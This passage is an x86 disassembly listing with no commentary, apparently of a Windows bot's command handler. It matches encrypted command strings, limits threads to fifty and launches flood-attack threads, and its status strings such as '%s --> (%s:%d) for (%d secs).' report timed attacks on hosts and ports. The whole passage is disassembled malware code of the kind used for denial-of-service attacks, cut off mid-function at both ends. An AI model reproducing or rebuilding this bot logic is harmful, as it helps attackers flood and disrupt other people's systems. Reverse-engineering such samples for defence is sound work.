		push	offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"...
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_411761:				; CODE XREF: sub_40A9FE+6D37j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"...
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_1B10],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_1C14]
		push	edi
		push	eax
		push	offset sub_4284A5
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1B10]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_411811
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_4117F2
		cmp	[ebp+arg_18], 0
		jnz	short loc_4117FC
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_4117F2:				; CODE XREF: sub_40A9FE+6DD0j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_4117FC:				; CODE XREF: sub_40A9FE+6DD6j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_411688
; ---------------------------------------------------------------------------


loc_411809:				; CODE XREF: sub_40A9FE+6E1Aj
		push	32h
		call	dword_437190	; Sleep


loc_411811:				; CODE XREF: sub_40A9FE+6DBFj
		cmp	[ebp+var_1AF4],	0
		jz	short loc_411809
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_41181F:				; CODE XREF: sub_40A9FE+6C28j
					; sub_40A9FE+6C31j ...
		mov	edi, offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_411829:				; CODE XREF: sub_40A9FE+6C1Dj
		push	dword ptr [ebx]
		push	offset aNhr6r0qsk450 ; "nHr6r0qsk450"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_411840
		push	offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		jmp	loc_4128A9
; ---------------------------------------------------------------------------


loc_411840:				; CODE XREF: sub_40A9FE+6E36j
		push	dword ptr [ebx]
		push	offset aUyfog_dvvny0 ; "UyfOG.DvVnY0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_411A81
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_411A77
		cmp	[ebx+8], edi
		jz	loc_411A77
		cmp	[ebx+0Ch], edi
		jz	loc_411A77
		cmp	[ebx+10h], edi
		jz	loc_411A77
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_4118CD


loc_411887:				; CODE XREF: sub_40A9FE+70B8j
					; sub_40A9FE+7263j ...
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_4118B5
		cmp	[ebp+arg_18], 0
		jnz	short loc_4118BF
		push	[ebp+arg_C]
		push	ebx
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_4118B5:				; CODE XREF: sub_40A9FE+6E97j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_4118BF:				; CODE XREF: sub_40A9FE+6E9Dj
		push	[ebp+arg_C]
		push	ebx


loc_4118C3:				; CODE XREF: sub_40A9FE+705Ej
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_4118CD:				; CODE XREF: sub_40A9FE+6E87j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_13A8],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_13AC],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_14C4]
		jnz	short loc_4118EE
		push	dword ptr [esi+0Ch]
		jmp	short loc_4118F0
; ---------------------------------------------------------------------------


loc_4118EE:				; CODE XREF: sub_40A9FE+6EE9j
		push	dword ptr [esi]


loc_4118F0:				; CODE XREF: sub_40A9FE+6EEEj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_14CC],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1444]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_13B8],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_13B4],	eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_13BC],	eax
		jge	short loc_41194D


loc_411943:				; CODE XREF: sub_40A9FE+7132j
					; sub_40A9FE+72DDj
		mov	edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
		jmp	loc_413D77
; ---------------------------------------------------------------------------


loc_41194D:				; CODE XREF: sub_40A9FE+6F43j
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSDForDSecs_ ; "%s	--> (%s:%d) for	(%d secs)."
		jnz	short loc_411989
		cmp	[ebp+arg_18], 0
		jnz	short loc_41198F
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_411989:				; CODE XREF: sub_40A9FE+6F58j
		cmp	[ebp+arg_18], 0
		jz	short loc_4119B9


loc_41198F:				; CODE XREF: sub_40A9FE+6F5Ej
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_4119B9:				; CODE XREF: sub_40A9FE+6F8Fj
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_13B0],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_14CC]
		push	edi
		push	eax
		push	offset sub_41DB6B
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_13B0]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_411A69


loc_411A17:				; CODE XREF: sub_40A9FE+7200j
					; sub_40A9FE+73ABj ...
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_411A4A
		cmp	[ebp+arg_18], 0
		jnz	short loc_411A54
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_411A4A:				; CODE XREF: sub_40A9FE+7028j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_411A54:				; CODE XREF: sub_40A9FE+702Ej
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_4118C3
; ---------------------------------------------------------------------------


loc_411A61:				; CODE XREF: sub_40A9FE+7072j
		push	32h
		call	dword_437190	; Sleep


loc_411A69:				; CODE XREF: sub_40A9FE+7017j
		cmp	[ebp+var_13A0],	0
		jz	short loc_411A61
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_411A77:				; CODE XREF: sub_40A9FE+6E58j
					; sub_40A9FE+6E61j ...
		mov	edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_411A81:				; CODE XREF: sub_40A9FE+6E4Dj
		push	dword ptr [ebx]
		push	offset aPsern1aagh6_ ; "pSern1AAGh6."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_411C1C
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	short loc_411A77
		cmp	[ebx+8], edi
		jz	short loc_411A77
		cmp	[ebx+0Ch], edi
		jz	short loc_411A77
		cmp	[ebx+10h], edi
		jz	short loc_411A77
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jg	loc_411887
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1608],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_160C],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_1724]
		jnz	short loc_411ADD
		push	dword ptr [esi+0Ch]
		jmp	short loc_411ADF
; ---------------------------------------------------------------------------


loc_411ADD:				; CODE XREF: sub_40A9FE+70D8j
		push	dword ptr [esi]


loc_411ADF:				; CODE XREF: sub_40A9FE+70DDj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_172C],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_16A4]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1618],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_1614],	eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_161C],	eax
		jl	loc_411943
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSDForDSecs_ ; "%s	--> (%s:%d) for	(%d secs)."
		jnz	short loc_411B72
		cmp	[ebp+arg_18], 0
		jnz	short loc_411B78
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_411B72:				; CODE XREF: sub_40A9FE+7141j
		cmp	[ebp+arg_18], 0
		jz	short loc_411BA2


loc_411B78:				; CODE XREF: sub_40A9FE+7147j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_411BA2:				; CODE XREF: sub_40A9FE+7178j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_1610],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_172C]
		push	edi
		push	eax
		push	offset sub_41DD09
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1610]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_411A17
		jmp	short loc_411C0E
; ---------------------------------------------------------------------------


loc_411C06:				; CODE XREF: sub_40A9FE+7217j
		push	32h
		call	dword_437190	; Sleep


loc_411C0E:				; CODE XREF: sub_40A9FE+7206j
		cmp	[ebp+var_1600],	0
		jz	short loc_411C06
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_411C1C:				; CODE XREF: sub_40A9FE+708Ej
		push	dword ptr [ebx]
		push	offset aXkg84_cesgs_ ; "XkG84.cESgs."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_411DC7
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_411A77
		cmp	[ebx+8], edi
		jz	loc_411A77
		cmp	[ebx+0Ch], edi
		jz	loc_411A77
		cmp	[ebx+10h], edi
		jz	loc_411A77
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jg	loc_411887
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_14D8],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14DC],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_15F4]
		jnz	short loc_411C88
		push	dword ptr [esi+0Ch]
		jmp	short loc_411C8A
; ---------------------------------------------------------------------------


loc_411C88:				; CODE XREF: sub_40A9FE+7283j
		push	dword ptr [esi]


loc_411C8A:				; CODE XREF: sub_40A9FE+7288j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_15FC],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1574]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_14E8],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_14E4],	eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_14EC],	eax
		jl	loc_411943
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSDForDSecs_ ; "%s	--> (%s:%d) for	(%d secs)."
		jnz	short loc_411D1D
		cmp	[ebp+arg_18], 0
		jnz	short loc_411D23
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_411D1D:				; CODE XREF: sub_40A9FE+72ECj
		cmp	[ebp+arg_18], 0
		jz	short loc_411D4D


loc_411D23:				; CODE XREF: sub_40A9FE+72F2j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_411D4D:				; CODE XREF: sub_40A9FE+7323j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	edi
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_14E0],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_15FC]
		push	edi
		push	eax
		push	offset sub_41DE6E
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_14E0]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_411A17
		jmp	short loc_411DB9
; ---------------------------------------------------------------------------


loc_411DB1:				; CODE XREF: sub_40A9FE+73C2j
		push	32h
		call	dword_437190	; Sleep


loc_411DB9:				; CODE XREF: sub_40A9FE+73B1j
		cmp	[ebp+var_14D0],	0
		jz	short loc_411DB1
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_411DC7:				; CODE XREF: sub_40A9FE+7229j
		push	dword ptr [ebx]
		push	offset aP06vqBfbmo_ ; "p06vq/BFBMo."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_411F3A
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_411A77
		cmp	[ebx+8], edi
		jz	loc_411A77
		cmp	[ebx+0Ch], edi
		jz	loc_411A77
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jg	loc_411887
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1C20],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1C24],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_1D3C]
		jnz	short loc_411E2A
		push	dword ptr [esi+0Ch]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: sub_40A9FE+7425j
		push	dword ptr [esi]


loc_411E2C:				; CODE XREF: sub_40A9FE+742Aj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1D44],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1CBC]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1C2C],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		add	esp, 14h
		cmp	eax, 1
		mov	[ebp+var_1C34],	eax
		mov	edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
		jl	loc_413D77
		cmp	[ebp+arg_14], 0
		jnz	short loc_411EA6
		cmp	[ebp+arg_18], 0
		jnz	short loc_411EAC
		push	dword ptr [ebx+8]
		call	sub_42A100
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_411EA6:				; CODE XREF: sub_40A9FE+7480j
		cmp	[ebp+arg_18], 0
		jz	short loc_411ECB


loc_411EAC:				; CODE XREF: sub_40A9FE+7486j
		push	dword ptr [ebx+8]
		call	sub_42A100
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)."
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_411ECB:				; CODE XREF: sub_40A9FE+74ACj
		push	dword ptr [ebx+8]
		call	sub_42A100
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)."
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_1C28],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_1D44]
		push	edi
		push	eax
		push	offset sub_41E242
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1C28]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_411A17
		jmp	short loc_411F2C
; ---------------------------------------------------------------------------


loc_411F24:				; CODE XREF: sub_40A9FE+7535j
		push	32h
		call	dword_437190	; Sleep


loc_411F2C:				; CODE XREF: sub_40A9FE+7524j
		cmp	[ebp+var_1C18],	0
		jz	short loc_411F24
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_411F3A:				; CODE XREF: sub_40A9FE+73D4j
		push	dword ptr [ebx]
		push	offset a3vvsv1vurua ; "3VVsV1VuRUA/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_411F51
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		jmp	loc_4128A9
; ---------------------------------------------------------------------------


loc_411F51:				; CODE XREF: sub_40A9FE+7547j
		push	dword ptr [ebx]
		push	offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_412169
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_41215F
		cmp	[ebx+8], edi
		jz	loc_41215F
		cmp	[ebx+0Ch], edi
		jz	loc_41215F
		cmp	[ebx+10h], edi
		jz	loc_41215F
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_411FDC
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_411FC4
		cmp	[ebp+arg_18], 0
		jnz	short loc_411FCE
		push	eax
		push	ebx
		push	offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_411FC4:				; CODE XREF: sub_40A9FE+75A8j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_411FCE:				; CODE XREF: sub_40A9FE+75AEj
		push	[ebp+arg_C]
		push	ebx


loc_411FD2:				; CODE XREF: sub_40A9FE+7746j
		push	offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_411FDC:				; CODE XREF: sub_40A9FE+7598j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1040],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1044],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_10D4]
		jnz	short loc_411FFD
		push	dword ptr [esi+0Ch]
		jmp	short loc_411FFF
; ---------------------------------------------------------------------------


loc_411FFD:				; CODE XREF: sub_40A9FE+75F8j
		push	dword ptr [esi]


loc_411FFF:				; CODE XREF: sub_40A9FE+75FDj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1158],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1154]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1050],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_1048],	eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_104C],	eax
		mov	edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		jl	loc_413D77
		cmp	[ebp+arg_14], 0
		jnz	short loc_412087
		cmp	[ebp+arg_18], 0
		jnz	short loc_41208D
		push	dword ptr [ebx+8]
		call	sub_42A100
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSD_1	; "%s --> (%s:%d)"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_412087:				; CODE XREF: sub_40A9FE+7661j
		cmp	[ebp+arg_18], 0
		jz	short loc_4120AC


loc_41208D:				; CODE XREF: sub_40A9FE+7667j
		push	dword ptr [ebx+8]
		call	sub_42A100
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSD_1	; "%s --> (%s:%d)"
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_4120AC:				; CODE XREF: sub_40A9FE+768Dj
		push	dword ptr [ebx+8]
		call	sub_42A100
		push	eax
		push	dword ptr [ebx+4]
		push	edi
		push	offset aSSD_1	; "%s --> (%s:%d)"
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_1054],	eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_1158]
		push	edi
		push	eax
		push	offset sub_41EC9D
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1054]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_412151
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_412132
		cmp	[ebp+arg_18], 0
		jnz	short loc_41213C
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_412132:				; CODE XREF: sub_40A9FE+7710j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_41213C:				; CODE XREF: sub_40A9FE+7716j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_411FD2
; ---------------------------------------------------------------------------


loc_412149:				; CODE XREF: sub_40A9FE+775Aj
		push	32h
		call	dword_437190	; Sleep


loc_412151:				; CODE XREF: sub_40A9FE+76FFj
		cmp	[ebp+var_103C],	0
		jz	short loc_412149
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_41215F:				; CODE XREF: sub_40A9FE+7569j
					; sub_40A9FE+7572j ...
		mov	edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_412169:				; CODE XREF: sub_40A9FE+755Ej
		push	dword ptr [ebx]
		push	offset a4h4m_q_guy_ ; "4h4m/.Q.GUy."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_412180
		push	offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		jmp	loc_4128A9
; ---------------------------------------------------------------------------


loc_412180:				; CODE XREF: sub_40A9FE+7776j
		push	dword ptr [ebx]
		push	offset aX_62c_3ldcp ; "X.62C.3LDCP/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_4123B9
		xor	edi, edi
		cmp	[ebx+4], edi
		jz	loc_4123AF
		cmp	[ebx+8], edi
		jz	loc_4123AF
		cmp	[ebx+0Ch], edi
		jz	loc_4123AF
		cmp	[ebx+10h], edi
		jz	loc_4123AF
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_41220B
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_4121F3
		cmp	[ebp+arg_18], 0
		jnz	short loc_4121FD
		push	eax
		push	ebx
		push	offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_4121F3:				; CODE XREF: sub_40A9FE+77D7j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_4121FD:				; CODE XREF: sub_40A9FE+77DDj
		push	[ebp+arg_C]
		push	ebx


loc_412201:				; CODE XREF: sub_40A9FE+7996j
		push	offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_41220B:				; CODE XREF: sub_40A9FE+77C7j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1284],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1288],	eax
		cmp	eax, edi
		lea	eax, [ebp+var_1318]
		jnz	short loc_41222C
		push	dword ptr [esi+0Ch]
		jmp	short loc_41222E
; ---------------------------------------------------------------------------


loc_41222C:				; CODE XREF: sub_40A9FE+7827j
		push	dword ptr [esi]


loc_41222E:				; CODE XREF: sub_40A9FE+782Cj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_139C],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1398]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1294],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_1290],	eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_128C],	eax
		mov	edi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		jl	loc_413D77
		cmp	[ebp+arg_14], 0
		jnz	short loc_4122C1
		cmp	[ebp+arg_18], 0
